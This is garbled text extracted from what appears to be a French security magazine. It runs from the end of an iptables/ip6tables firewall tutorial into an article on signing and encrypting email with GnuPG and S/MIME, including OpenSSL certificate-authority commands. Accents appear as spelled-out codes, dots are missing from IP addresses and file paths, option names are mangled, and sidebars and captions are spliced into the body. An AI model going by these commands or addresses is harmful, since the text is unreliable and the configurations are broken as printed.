1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

